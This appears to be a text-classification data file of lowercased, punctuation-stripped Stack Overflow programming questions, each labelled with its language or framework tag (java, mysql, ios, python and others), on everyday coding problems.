find all words in dictionary given a string of words  i am attempting to write a <code>program</code> that will find all the words that can be constructed from it using a dictionary which has been loaded into an <code>arraylist</code> from a <code>file</code>. sowpodslist is the dictionary stored as an <code>arraylist</code>. i want to <code>iterate</code> through each word in the dictionary and then compare it to the <code>string</code>. being that the string is just a random collection of words how do i go about achieving this        input: <code>asdm</code>    output: <code>a  mad  sad ....</code> (any word which matches in the dictionary.)   <pre><code>for (int i = 0; i &lt; sowpodslist.size(); i++) {     for (int j = 0; j &lt; sowpodslist.get(i).length(); j++) {         if (sowpodslist.get(i).charat(j) ==   )             ;     } } </code></pre>,java
how to know if an variable exist in url even thou it dont have any value in php  previously i used to add an value like <code> help=1</code> to make php know that variable <code>help</code> is used and now it has to show help page. but on a few sites  i have seen they simply use only variables and do not assigned any value (i.e just <code> help</code>). can you please tell me how to do it,php
why only the first index of my vector is filled    i am trying to store into a buffer the return value of the <code>recv</code> system call.   <pre><code>  std::vector&lt;unsigned char *&gt; tmpbuffer(buff_size);   unsigned int ret = ::recv(_sock  tmpbuffer.data()  tmpbuffer.size()  0); </code></pre>   but when i look up into the content of tmpbuffer  only the first index(0) is filled with a data  and <code>ret</code> is superior to 1.    as a vector is continuous in memory  why isn t it filled,c++
calculate bandwidth using snmp in dotnet  i want to calculate bandwidth of system using snmp in .net.i have idea about oid s required for bandwidth calculation but not getting how  i need to use it or implement it in .net.    please help me by giving some code examples in .net.    thanks ram,.net
how do i get a list of all connection strings in app.config  in need to create an small console app  that takes two arguments:   <ol> <li>file location for <code>app.config</code> file.</li> <li>passkey my problem is that the console app needs to read the <code>connectionstrings</code> and encrypt it and then save the encrypted text to the config file. i have looked  but have not found any solution for it. </li> </ol>   my <code>app.config</code> file could look like this:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt;     &lt;configuration&gt;      &lt;connectionstrings&gt;         &lt;add name= conn1  connectionstring= data source=database1;initial catalog=db12;user id=user1234;password=qwerty123  providername= system.data.sqlclient  /&gt;         &lt;add name= conn2  connectionstring= data source=database2;initial catalog=db12;user id=user1234;password=qwerty123  providername= system.data.sqlclient  /&gt;        &lt;/connectionstrings&gt;       &lt;startup&gt;         &lt;supportedruntime version= v4.0  sku= .netframework version=v4.6.1  /&gt;       &lt;/startup&gt; &lt;/configuration&gt; </code></pre>   i have the encryption part are done. i just need to in this example to read those two <code>connectionstrings</code> and encrypt them each. please note that the name of the <code>connectstrings</code> are different every time  since the console app are triggered by tfs build server.,c#
how to add set<string> value to the list in the for loop   i would like to iterate the value of the <code>accountset</code> <code>list&lt;accountto&gt;</code> and set to <code>accountid</code>.    actually in the <code>accountset</code> i am getting the values : <code>100 101 102</code> i would like to add the values to the <code>list&lt;accounto&gt;</code> and set them to <code>accountid</code> and pass it to the service call. is there any that i can go with or else any other procedure.   <pre><code>for(string s :group.getaccounts().keyset()) {     system.out.println( ==== +s.lastindexof( - ));     system.out.println( sub +s.substring(0 s.lastindexof( - )));     accountset.add(s.substring(0  s.lastindexof( - ))); } </code></pre>,java
get the count(*) in the case with  join and where   there are three tables  relationship between them :   <blockquote>     task  is created by  employer(uid)          execution  is complete by  employee(uid)  and match to  task(tid)   </blockquote>  <h2>table 1 - task</h2>  <pre> tid | name        | employer ==========================   1 | hello world | 1   2 | eat food    | 1   3 | swimming    | 2 </pre>  <h2>table 2 - user</h2>  <pre> uid | name =============   1 | salmon   2 | bird   3 | pig </pre>  <h2>table 3 - execution</h2>  <pre> eid | task | employee ======================   1 |    1 |        2   2 |    1 |        2   3 |    2 |        3   4 |    1 |        3   5 |    2 |        2 </pre>  <hr>   then i do some queries.   <pre><code>select t1.tid      t1.name as taskname      t1.employer as employeruid      t2.name as employername      count(t3.*) from task t1  user t2  execution t3 where t1.employer = t2.uid     and t1.tid = t3.task     and t1.tid = ( here can input the task id ) </code></pre>   my question :     i input the <code> t1.tid = 1 </code> to query  i want to get the <code>count()</code> result that is <code> 3 </code>.   <pre> eid | task | employee ======================   1 |    1 |        2  ---- i want   2 |    1 |        2  ---- i want   3 |    2 |        3   4 |    1 |        3  ---- i want   5 |    2 |        2 </pre>   but sql always return <code> 5 </code>  i guess the <code> 5 </code> means table-execution total rows.    how can i get the <code>count</code> in above case    <hr>   thanks everyone.,mysql
setting the jpanel pixel size then fitting it inside a jframe  i know that the jframe pixel size includes the title bar  and the sides  so i want to create a panel instead  and use the pack() method to fit the panel inside the jframe. the problem is  whenever i run the code  the window shows up at size 0 for some reason  despite the jpanel being some other size. here s my code.    <pre><code>    /*this part of the code is from one class.*/     public static void main(string[] args) throws interruptedexception {      p.g.setsize(300  300);     frame.getcontentpane().add(p.g);      frame.setlocationrelativeto(null);     frame.setbackground(color.white);     frame.pack();     frame.setvisible(true);     frame.setdefaultcloseoperation(jframe.exit_on_close);  }   /*this part of the code is from another class.*/ public class p extends jpanel {  static p g = new p();  public void paintcomponent(graphics g) {      super.paintcomponent(g);      g.drawline(100  0  100  300);     g.drawline(200  0  200  300);     g.drawline(300  0  300  300);  }  } </code></pre>,java
redefinition errors in .h files <pre><code>//list.h file typedef struct _lnode{     struct _lnode *next;     size_t row;     size_t column;     short data; }lnode;  typedef struct _llist{     struct _lnode *head;     size_t size;  }llist;  //matrix.h file typedef struct _matrix{      size_t width;     size_t height;     size_t k;      int **data;  }matrix;  //smatrix.h file #include  list.h  #include  matrix.h   typedef struct _smatrix{     size_t width;     size_t height;     size_t k;      llist data; }smatrix;  smatrix* make_smatrix(matrix *m); </code></pre>   smatrix.h file includes list.h file and matrix.h files. if i include those header files in smatrix.h file then i get    <pre><code> redefinition of  lnode . redefinition of  _llist  and redefinition of  _matrix  errors. </code></pre>   if i took those heder files our from smatrix.h file then the error went away but it complains about matrix type in the function parameter. i want to call functions defined in list.h and matrix.h files in smatrix.c file.. what do i do  thanks in advance..,c
how to deal with duplicate rows in sql   the table has duplicate ids from a large table. i want to get one output for each id. what s the best way to do it     mytable   <pre><code>id col1 col2 1    x    a 1    y    b 1    z    c 2    x    d 2    y    e 3    z    f 3    w    g if col1 =  x  and col2 = a   then  y  is the output for id1 if col1 =  x  and col2 != a   then  n  is the output for id2 if col1 !=  x   then  y  is the output for id3 </code></pre>,sql
displaying iphone udid on prefrences/settings   is it possible to display the iphone unique device identifier number in the main settings/preference screen outside of the application      if so  how is this done  as i can t see how to pull the udid into root.plist.    if not  i m able to display it in a normal iphone application view  correct,iphone
how to set uitableviewcellstylesubtitle if use  dequeuereusablecellwithidentifier:forindexpath:  method  before  i use <code>dequeuereusablecellwithidentifier</code>: method  and then i must check <code>cell</code> nil:   <pre><code>if(!cell) {     cell = [[uitableviewcell alloc] initwithstyle:uitableviewcellstylesubtitle reuseidentifier:reuseidentifier]; } </code></pre>   so i can set style for cell. but  in new method:  dequeuereusablecellwithidentifier:forindexpath:  i don t need check cell nil  so how to set style for cell  now  please help me. thanks so much!,ios
order of execution in javascript  i can t understand the execution of the javascript code. after the function greet  the first two function declarations are executed:   <pre><code>function greet(myname) {     var myalertstring =  hello   + myname ; // local variable     function doalert() {         alert(myalertstring);     }     doalert(); }  greet( smak ); // will alert  hello smak       var greetsam = greet( sam ); // greetkitty is now a function greetsam(); // will alert  hello sam   var greetkitty = greet( kitty ); // greetkitty is now a function greetkitty(); // will alert  hello kitty   var greetmax = greet( max ); // greetmax is now a function greetmax(); // will alert  hello max   greetkitty(); // will alert  hello kitty  </code></pre>   why there is no pop-up for kitty and max     i got the correct answer: <a href= http://jsfiddle.net/qhn6t/13/  rel= nofollow >http://jsfiddle.net/qhn6t/13/</a>,javascript
render partial later after page loads  using rails 3.2. let s say i have the following view:   <pre><code>&lt;div class= content &gt;   &lt;div class= main &gt;     &lt;h1&gt;&lt;%= @shop.name %&gt;&lt;/h1&gt;     &lt;p&gt;&lt;%= @shop.description %&gt;&lt;/p&gt;   &lt;/div&gt;   &lt;div class= sidebar &gt;     &lt;%= render  teasers  %&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   is there a way to just load the page first  then load the <code>teasers</code> later  reason being so is because <code>teasers</code> takes some time to query (i have already optimized the query).,ruby-on-rails
where clause only if not null  i need help with my <code>select</code>.    i got a field that can be <code>null</code> and in it there is stored a foreign-key.   <pre><code>select * from beerimage where beerbrewid = brewid and beerbrandid = beerid &lt;--- this can be null </code></pre>   so if it s <code>null</code> nothing happens.    how can i check if <code>beerid</code> is <code>not null</code> so i can use <code> beerbrandid = beerid </code>,mysql
"what is the purpose of delete $get prop in angular provider   i saw a piece of code about angular s provider like below:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>angular.module( bluradmin.theme )
     .provider( baconfig   configprovider);
 
   /** @nginject */
   function configprovider() {
     var conf = {
       theme: {
         blur: false
       }
     };
 
     conf.changetheme = function(theme) {
       angular.merge(conf.theme  theme)
     };
 
     conf.$get = function () {
       // what does this code meaning  why delete $get 
       delete conf.$get;
       return conf;
     };
     return conf;
   }</code></pre>
 </div>
 </div>
     but i don t know the <code>delete conf.$get</code> to mean what",angularjs
insert multiple rows in a table without inserting duplicates rows  i would like to merge a table that the data comes from 2 differents databases. i operated as described below:    1 – i have done a dump of the source database table and i get the following insert query:      <pre><code>insert into `t_vaccination` values     (242 null null 53 1  20030528   0   w5770-2  0  dtp - revaxis   a 20130521170623   2013-05-21 17:06:23 )  (243 null null 53 1  20130525   0     1  dtp -    a 20130521170623   2013-05-21 17:06:23 )  (1830 null null 50 1  20080502   3     0  dtp - revaxis   a 20130521170623   2013-05-21 17:06:23 )  (1831 null null 50 1  20130501   4     1  dtp -    a 20130521170623   2013-05-21 17:06:23 )  (1832 null null 50 1  20080502   3     0  papillomavirus - gardasil   a 20130521170623   2013-05-21 17:06:23 ) </code></pre>   the structure of the t_vaccination table is:   <pre><code>create table `t_vaccination` ( `nidvaccination` int(10) unsigned not null  `nidvaccin` int(10) unsigned null default null  `nidvacprotocole` int(10) unsigned null default null  `nidpatient` int(10) unsigned not null  `nidutilisateur` int(10) unsigned null default null  `sdateinjection` varchar(8) not null default     `nnuminjection` varchar(45) not null default  0   `snumlot` varchar(45) not null default     `nrappel` tinyint(4) not null default  0   `slibelle` varchar(255) not null default     `saction` varchar(16) not null default  a 20080101000000   `sdh_replic` datetime null default  2010-01-01 00:00:00   primary key (`nidvaccination`)  index `ndx_t_vaccination_nidutilisateur` (`nidutilisateur`)  index `ndx_t_vaccination_nidvaccin` (`nidvaccin`)  index `ndx_t_vaccination_nidvacprotocole` (`nidvacprotocole`)  index `ndx_t_vaccination_nidpatient` (`nidpatient`)  constraint `fk_vaccination_nidutilisateur_utilisateur` foreign key (`nidutilisateur`) references `t_utilisateur` (`nidutilisateur`)  constraint `fk_vaccination_nidvaccin_vaccin` foreign key (`nidvaccin`) references `t_vaccin` (`nidvaccin`) ) </code></pre>   2 - i would like to insert all the rows in the t_vaccination table of the final database without inserting the duplicates rows. the new query run by inserting one row:      <pre><code>insert into t_vaccination (nidvaccination  nidvaccin  nidvacprotocole  nidpatient  nidutilisateur  sdateinjection  nnuminjection  snumlot  nrappel  slibelle  saction  sdh_replic)  select 251 41 4 53 1  20030528   0   w5770-2  0  dtp - revaxis   a 20130521170623   2013-05-21 17:06:23  from t_vaccination  where not exists (select nidvaccin  nidvacprotocole  nidpatient  nidutilisateur from t_vaccination where nidvaccin = 41 and nidvacprotocole = 4 and nidpatient = 53 and nidutilisateur =1 ) limit 1 </code></pre>   3 - is it possible to insert rows by group by using insert where not exists because the attempts that i have done failed. here is an example of an an insert that failed:   <pre><code>insert into t_vaccination (nidvaccination  nidvaccin  nidvacprotocole  nidpatient  nidutilisateur  sdateinjection  nnuminjection  snumlot  nrappel  slibelle  saction  sdh_replic)  select 251 41 4 53 1  20030528   0   w5770-2  0  dtp - revaxis   a 20130521170623   2013-05-21 17:06:23  from t_vaccination  where not exists (select nidvaccin  nidvacprotocole  nidpatient  nidutilisateur from t_vaccination where nidvaccin = 41 and nidvacprotocole = 4 and nidpatient = 53 and nidutilisateur =1 ) limit 1  select 243 null null 53 1  20130525   0     1  dtp -    a 20130521170623   2013-05-21 17:06:23  from t_vaccination  where not exists (select nidvaccin  nidvacprotocole  nidpatient  nidutilisateur from t_vaccination where nidvaccin = null and nidvacprotocole = null and nidpatient = 53 and nidutilisateur =1 ) limit 1 </code></pre>   i hope for your help.    regards    motti,mysql
jquery show element using data attribute selector  cannot seem to show the the div using the data attribute as a selector.    the container is displayed  but none of the lines are.   <pre><code>&lt;div class= container &gt;     &lt;div data-line= 2 &gt;two&lt;/div&gt; &lt;/div&gt; </code></pre>   using the selector below  it doesn t work   <pre><code>$( .container div[data-line= 2 ] ).show(); </code></pre>   so you guys understand the context...   <pre><code>$(document).ready(function(){     for(i = 0; i &lt; 10; i++){         $( .container div[data-line=  + i +   ] ).show();     } }); </code></pre>,jquery
groupwise-max on count() with nested subqueries  my head is turning to mush when trying to get this nesting around my head.    so basically i got 2 tables:    brokers  which is my  user  table:   <pre><code>╔══════════╦════════════╦ ║ id       ║ email      ║ ╠══════════╬════════════╬ ║        1 ║ 1@email.co ║ ║        2 ║ 2@email.co ║ ║        3 ║ 3@email.co ║ ╚══════════╩════════════╝ </code></pre>   houses  which is houses that the users have added. currently user and house is connected by the email column (i know  makes more sense to do with a id):   <pre><code>╔══════════╦════════════╦════════════╦ ║ id       ║ type       ║ email      ║ ╠══════════╬════════════╬════════════╬ ║        1 ║ 1          ║ 1@email.co ║ ║        2 ║ 3          ║ 1@email.co ║ ║        3 ║ 2          ║ 1@email.co ║ ║        4 ║ 3          ║ 1@email.co ║ ║        5 ║ 3          ║ 1@email.co ║ ║        6 ║ 2          ║ 1@email.co ║ ║        7 ║ 3          ║ 1@email.co ║ ║        8 ║ 1          ║ 2@email.co ║ ║        9 ║ 1          ║ 2@email.co ║ ║       10 ║ 2          ║ 2@email.co ║ ║       11 ║ 2          ║ 2@email.co ║ ║       12 ║ 3          ║ 2@email.co ║ ║       13 ║ 3          ║ 3@email.co ║ ║       14 ║ 2          ║ 3@email.co ║ ║       15 ║ 3          ║ 3@email.co ║ ║       16 ║ 1          ║ 3@email.co ║ ║       17 ║ 3          ║ 3@email.co ║ ║       18 ║ 2          ║ 3@email.co ║ ║       19 ║ 2          ║ 3@email.co ║ ║       20 ║ 3          ║ 3@email.co ║ ╚══════════╩════════════╩════════════╝ </code></pre>   now what i want to do  is that i want to select all brokers that have type 3 as the highest  most popular kind of house added. so for example if house type 3 represents  apartments   i want to find the brokers that sell apartments as their number one most popular type.    my current query is:    <pre><code>select b.id  b.email  h.email  h.type  h.total from brokers b inner join ( select count( * ) as total  email  type from house group by email  type order by total desc )h on b.email = h.email and h.type =   3  order by b.id desc </code></pre>   now this only selects the total amount of houses that that broker has for type 3. it does not only select the brokers where type 3 is their most popular type.    now to do that  i need to use what is called  groupwise max . but i can not use max() on a count(*) like:   <pre><code>max(count(*)) as max_value </code></pre>   so i guess that what i need to do is to nest my query further with additional subqueries to first count  and then select the max value.    i ve been trying to get it right for a while now and i just can t get my head around it. anyone can help     edit: expected output: based on the table above  broker 1@email.co got:   <ul> <li>1 house with type 1.</li> <li>2 houses with type 2.</li> <li>4 houses with type 3.</li> </ul>   broker 2@email.co got:   <ul> <li>2 houses with type 1</li> <li>2 houses with type 2</li> <li>1 house with type 3.</li> </ul>   broker 3@email.co got:   <ul> <li>1 house with type 1.</li> <li>3 houses with type 2.</li> <li>4 houses with type 3.</li> </ul>   since both 1@email.co and 3@email.co is selling house type 3 most commonly  they should be included in the output. 2@email.co do not sell type 3 as his most popular type  so he should not be included in the result.    so output:    <pre><code>╔══════════╦════════════╦════════════╦ ║ id       ║ email      ║ total      ║ ╠══════════╬════════════╬════════════╬ ║        1 ║ 1@email.co ║ 4          ║ ║        3 ║ 3@email.co ║ 4          ║ ╚══════════╩════════════╝════════════╝ </code></pre>,mysql
how can i get the id of dynamically created checboxa  create dynamic checkbox   <pre><code>function parsexml(xml) {   $(xml).find( sterowniki ).each(function() {  var i = 1; $(xml).find( items ).each(function() {  $(  #pierwszy  ).append(  &lt;div class= row &gt;&lt;div class= checkbox &gt;&lt;label&gt;&lt;li class= col-xs-10 col-sm-10 col-md-10 col-lg-10 &gt;&lt;a href= produkt.html id= +i+  &gt; +$(this).attr( name )+ &lt;/a&gt;&lt;/li&gt;&lt;input class= col-xs-2 col-sm-2 col-md-2 col-lg-2  type= checkbox  name= porownaj   value= stery &gt;&lt;/label&gt;&lt;/div&gt;&lt;/div&gt; );      i=i+1; }); }); </code></pre>   do checkbox is also thanks to broadcast id  or do i have to give it separate. and how to reach it  thanks,jquery
add a line break in a table data html  i am trying to add a new line between the btn and the txtbox but nothing worked. i tried <br>   <br/> and \n    it is shown as: <a href= https://i.stack.imgur.com/hu6wo.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/hu6wo.png  alt= enter image description here ></a>    my code:   <pre><code>&lt;td&gt; &lt;div&gt; &lt;a class= btn btn-default pull-left  style= color: inherit  id= btn &gt;my button&lt;/a&gt; &lt;/div&gt; &lt;div&gt;  &lt;input id= mytxt  &gt; &lt;/div&gt; &lt;/td&gt; </code></pre>,html
creating a dynamically expanding feed in rails  so what i have in my view atm is just a list of every item in my class. what i want to be able to do is have it only display the first ten or so  and put a button at the bottom that will then load the next ten into the page  and so on. anyone mind pointing me towards a nice tutorial that will show me how to implement this,ruby-on-rails
margins only between floated divs  is it possible to create margin only between floated divs <strong>without margins on the sides of parent</strong>.    so basically:   <pre><code>no margin &lt;div&gt; |margin| &lt;div&gt; |margin| &lt;div&gt; |margin| &lt;div&gt; no margin no margin &lt;div&gt; |margin| &lt;div&gt; |margin| &lt;div&gt; |margin| &lt;div&gt; no margin no margin &lt;div&gt; |margin| &lt;div&gt; |margin| &lt;div&gt; |margin| &lt;div&gt; no margin no margin &lt;div&gt; |margin| &lt;div&gt; |margin| &lt;div&gt; |margin| &lt;div&gt; no margin no margin &lt;div&gt; |margin| &lt;div&gt; |margin| &lt;div&gt; |margin| &lt;div&gt; no margin </code></pre>   like that.,css
touch events problem  i found a very strange problem while handling touch events. the idea of an app is that i have an imageview which contains a circle with text  that the user can rotate. i ve implemented a custom uiscrollview subclass to contain circle image. there i implemented methods touchesbegan  touchesmoved and touchesended in order to rotate my circle when user drags it left or right. everything works fine  but when you try to drag it with one finger very fast from one side to another and in opposite direction  methods touchesbegan and touchesended are called different number of times. for example touchesbegan was called 1 time and touchesended 2 - 3 times. how can it be    <pre><code>   - (void)touchesbegan:(nsset *)touches withevent:(uievent *)event{     if([[event touchesforview:self] count]==1){              touchpoint = [[touches anyobject] locationinview:self];             previoustouchpoint = touchpoint;             angle = 0;             if (((touchpoint.x &gt; 160)&amp;&amp;(touchpoint.y &lt; 210))||((touchpoint.x &lt; 160)&amp;&amp;(touchpoint.y &gt; 210))) {                 leftrotation = yes;             }             else {                 leftrotation = no;             }              currentmoveangle = 0;         }     }      - (void)touchesmoved:(nsset*)touches withevent:(uievent*)event{         if([[event touchesforview:self] count] == 1){                 cgpoint newpoint = [[touches anyobject] locationinview:self];                 cgpoint origin;                 if (self.tag == 2) {                     origin = cgpointmake(self.bounds.origin.x+self.bounds.size.width*0.5  215);                 }                 else {                     origin = cgpointmake(self.bounds.origin.x+self.bounds.size.width*0.5  215);                 }                 previoustouchpoint.x -= origin.x;                 previoustouchpoint.y -= origin.y;                 cgpoint second = newpoint;                 second.x -= origin.x;                 second.y -= origin.y;                 cgfloat rotationangle = [self rotationfromfirstpoint:previoustouchpoint tosecondpoint:second];                  previoustouchpoint = newpoint;                 [self rotatecontenttoangle:rotationangle animated:no];                 currentmoveangle += rotationangle;              }      }  - (void)touchesended:(nsset*)touches withevent:(uievent*)event{     if ([[event touchesforview:self] count] == 1){         rotating = yes;             cgfloat rotationangle;             cgpoint origin = cgpointmake(self.bounds.origin.x+self.bounds.size.width*0.5  215);             cgpoint lastpoint = [[touches anyobject] locationinview:self];             cgpoint touchp = touchpoint;             if ((touchp.x != lastpoint.x)||(touchp.y != lastpoint.y)) {                 touchp.x -= origin.x;                 touchp.y -= origin.y;                 lastpoint.x -= origin.x;                 lastpoint.y -= origin.y;                  if (fabs(currentmoveangle)&gt;m_pi/6) {                      nsinteger index = (int)trunc(currentmoveangle/(m_pi/3));                      currentmoveangle-=(m_pi/3)*index;                     nslog(@ rotation index: %i  index);                  }                  if (leftrotation) {                     rotationangle = m_pi/3;                     rotationangle-=currentmoveangle;                 }                 else {                     rotationangle = (-1)*m_pi/3;                     rotationangle-=currentmoveangle;                 }                  [self rotatecontenttoangle:rotationangle animated:yes];             }            } } </code></pre>,iphone
can i position .net s (forms) message box or common dialogs   i am trying to get center of parent form  not center of screen behavior. passing in the parent form seems to only control the ownership of the window. these classes are sealed  so i do not see how i can do any winproc tricks. rewriting the classes is not an appealing option. any other ideas,.net
unable setup picker in popover  i am having a problem communicating with a picker inside a popover for the ipad.  i am using .xib files  to support ios4.  the pickers for the iphone all work perfectly.  i have spent a week searching the web for a solution    i have viewcontroller and popoverviewcontroller     in the viewcontroller a button calls the popover which displays the popoverviewcontroller picker  correctly.    the button includes the following code to show the appropriate row in the middle  i can see that the code is being read at run time  but nothing happens.  is someone able to suggest to me where i have gone wrong    <pre><code>popoverviewcontroller *po = [[popoverviewcontroller alloc]initwithnibname:@”popoverviewcontroller” bundle: nil]; [po.popoverpickerstop selectrow: 7 in component: 0 animated:no; [po.popoverpickerstop selectrow: 1 in component: 1 animated:no; [self btnshowpopover:btnstop]; </code></pre>,ios
nstimer slow in device   i have done following to translate background screen.view.m file.but the frame rate is very slow.i changed   time interval with different value but the image is translating very slowly in iphone device  any solution pls    <pre><code> - (id)initwithframe:(cgrect)frame { if (self = [super initwithframe:frame]) {     // initialization code     x =0;      xx = 0;     yy = 0;     secx = 0;      [nstimer scheduledtimerwithtimeinterval:(0.1/60) target:self selector:@selector(ontimer) userinfo:nil repeats:yes]; } return self; </code></pre>   }   <pre><code> -(void) ontimer  {   xx++; xx = ( xx % 320);  [self setneedsdisplay];  }     - (void)drawrect:(cgrect)rect { // drawing code   [[uiimage imagenamed:@ graphic.png ] drawatpoint:cgpointmake(yy xx )];  if(xx &gt;= 0) {      [[uiimage imagenamed:@ graphic.png ]  drawatpoint:cgpointmake((-320 - (-1 * xx)) yy)];   } </code></pre>,iphone
iphone beginner question - hooking up actions  i m just starting out with iphone development  and in my hello world application i m having a hard time hooking up a view to a controller with actions.  i followed the instructions in the book i m reading (i believe)  but depending on where i run the application the app behaves differently.    -when i command-r from the code  i see only the single button i have on the view taking up the whole window.  when i click the button the action is triggered.    -when i command-r from the interface designer i see the button  label  and textbox lined up correctly.  when i click the button nothing happens.    anyone know why this is happening/how to fix it   thanks.,iphone
lengthy operation at the start of an android application  i m writing an application for android  which should get some data from the server as soon as it launches.    between the start of the application and the response from the server (or timeout  if the server is down)  the application should display a  waiting  animation.    thereafter  the normal panel should be shown (if the server responded) or an error dialog box be displayed (if the server didn t respond).    what is the correct place to put this logic into     <code>mainactivity.oncreate</code> or some other place,android
message broadcast simulation in android  i am developing a poc message client in android. this app mimics a messaging application  there is no server interaction. the application starts a new chat with a random user. i want to use broadcast receiver &amp; message object ( as in a real application ). as there is no server interaction  i want to create a broadcast sender part in this app  which should randomly generate some messages; my app receives these messages through broadcast receiver  process the message &amp; show on ui. so  while demoing  it looks like a real messaging app.  if any one knows a simulator engine app in android which i can use instead of developing a broadcast sender inside my app  please let me know. or  if any one can suggest some better idea for implementing a mimic messaging application  please advise. thanks in advance.,android
how to test if a file is  complete  (completely written) with java  let s say you had an external process writing files to some directory  and you had a separate process periodically trying to read files from this directory. the problem to avoid is reading a file that the other process is currently in the middle of writing out  so it would be incomplete. currently  the process that reads uses a minimum file age timer check  so it ignores all files unless their last modified date is more than xx seconds old.     i m wondering if there is a cleaner way to solve this problem. if the filetype is unknown (could be a number of different formats) is there some reliable way to check the file header for the number of bytes that should be in the file  vs the number of bytes currently in the file to confirm they match     thanks for any thoughts or ideas!,java
need help for search options in rails2  i am using rails 2.3.18. their is a  search need in my application.    i have 3 dynamic select boxes by using jquery. select boxes are country states city.    the search options that i need to provide is as follows   <ol> <li>if three boxes selected for search. need to fetch data and produce.</li> </ol>   2.if any one select box is chossed based on single selection i need to return data. for example   if city alone choosed need to display result set with like country state city    i have four tables country states cities information    i hv hasmany relation frm country to states.     states has hasmany relation with city.    information table has all fields with countryid statesid cityid    i really dont know how to apply search mechanism for this. can anyine suggest a way,ruby-on-rails
complex sql query of group by  i have 4 tables  ( cattle   farm   vaccine   vreminder )  i want to select from vaccine reminder table all reminders to be shown as     ( 2 ( cows ) have ( vaccine name 1) from ( farm name 1) on this date ) ( 3 ( horses) have ( vaccine name 1) from ( farm name 1) on this date )  ( 1 ( cow) have ( vaccine name 5) from ( farm name 2) on this date ) and so on     i wrote this query but it is not grouping the same vaccine type that are located for the same farm if the cattle is of the same type :  <a href= https://i.stack.imgur.com/wu2xn.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/wu2xn.png  alt= enter image description here ></a>    my query :    <pre><code>  select    (select v.vname from vaccine as v where v.vid= vr.[vid])    vr.[type]    vsd    count(vr.[type])    f.farmname   from [qnfarm].[dbo].[vreminder] as vr  inner join        [cattle] as c on c.rfid = vr.rfid inner join        farm as f on f.farmid = c.fid       group by   vr.vid    vr.type    vsd    vr.rfid    f.farmname </code></pre>   but as you see in the screen shot that it is vname pinkeye for to same breeds and same dates and same farm it does not group them .,sql
error in program-censor(codecademy)-practice makes perfect  i tried executing this code but in the output the last <em>word-hack</em> is not turning into <em>asterisk</em> and is not even shown.      enter code here:   <pre><code>def censor(text word):     w=       text1=       for i in text:         if i==   :             if w==word:                 text1=text1+ * *len(word)             else:                 text1=text1+w             text1=text1+                w=           else:             w=w+i     return text1  print censor( this hack is wack hack    hack ) </code></pre>,python
creating a method using tuple that accepts a list of point object and determines the smallest and largest for the given list s x and y members  i need to create a method with the following syntax using a tuple.   <pre><code>public static tuple&lt;double  double  double  double&gt; getrectangebounds(list&lt;point&gt; points) </code></pre>   the goal here is to determine the smallest and largest values for the given list s x and y members.  i have a created a struct called point.  the struct point has the following constructors   <pre><code>public struct point {     double x;     double y;      public point(double x  double y)     {         x = x;         y = y;     }      public point(point other)     {         x = other.x;         y = other.y;     }  } </code></pre>   my question is how do access points in the tuple so i can make the comparisons which values are the smallest and largest given the lists x and y members.  the tuple method must return the following.   <pre><code>return new tuple&lt;double  double  double  double&gt;(minx  miny  maxx  maxy); </code></pre>,c#
java method returns initialize variable  instead of final value of variable.  well  i m new in java  and i m making a method which objective is to return the average grades of a student  but instead of returning the final value i m getting the initialize value of the variable that is returning the method.     this is the method:   <pre><code>private int promedio; private int average;  studentinfo() {     this.average = 0; ///this is what the method is returning!!!     this.totalpercent = 0; }  public int finalaverage() {     for (int i = 0  n = quantity-1; i &lt;= n; i++){         average = average + (percentage[i]/100)*(notes[i]) ;  ///this is what it should return!!!                       }     return average; }     system.out.println( el estudiante   + nombre +   cuenta con un promedio de   + myobj.finalaverage() +  .  );      if (myobj.finalaverage() &lt; 3){         system.out.println( el estudiante perdio la materia. );                 }else{         system.out.println( ¡felicidades! ha pasado la materia. );   </code></pre>   thank you very much for your help  and have nice day. :d,java
all vs and and any vs or  i was eager to know about the what is the difference between    <pre><code>all and  and  any and  or  </code></pre>   for example: status1=100 status2=300 status3=400    which is better to use:   <pre><code>if status1==100 and status2 ==300 and status3 ==400: </code></pre>   or   <pre><code>if all([status1==100 status2==300 status3=400]): </code></pre>   similarly for the any and or condition:   <pre><code>   if status1==100 or status2 ==300 or status3==400: or    if any([status1==100  status2 ==300  status3==400]) </code></pre>   which one is more efficent  using the builtin functions or the primitive or and and conditions,python
sql if-else equivalent in where clause  i have declared a variable  lessthan  that can either be 0 or 1. depending on that value  i need to show results that have amount value less than 20 or greater than 20. here is what i have so far:   <pre><code>where (@residentid = ds.residentid or @residentid is null and ds.amount &lt; 20) </code></pre>   what i want is to show results where ds.amount is less than &lt; 20 if  lessthan  has value = 0 and i want results where ds.amount is greater than > 20 if  lessthan  has value = 1.    i reckon this is easy but i never really worked with sql before and i m having syntax troubles.,sql
use of typename for vector iterator - c++11 example <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/610245/where-and-why-do-i-have-to-put-the-template-and-typename-keywords >where and why do i have to put the &ldquo;template&rdquo; and &ldquo;typename&rdquo; keywords </a>    </blockquote>     this is reproduced from <a href= http://www2.research.att.com/~bs/c++0xfaq.html  rel= nofollow noreferrer >stroustroup s faq</a>.  i ve seen typename used when you don t know the type  for instance in templates  <code>template &lt;typename&gt; class some_class</code>.  why is typename used in the example below    <pre><code>    template&lt;class t&gt; void printall(const vector&lt;t&gt;&amp; v)     {         for (auto p = v.begin(); p!=v.end(); ++p)             cout &lt;&lt; *p &lt;&lt;  \n ;     }  in c++98  we d have to write       template&lt;class t&gt; void printall(const vector&lt;t&gt;&amp; v)     {         for (typename vector&lt;t&gt;::const_iterator p = v.begin(); p!=v.end(); ++p)             cout &lt;&lt; *p &lt;&lt;  \n ;     } </code></pre>,c++
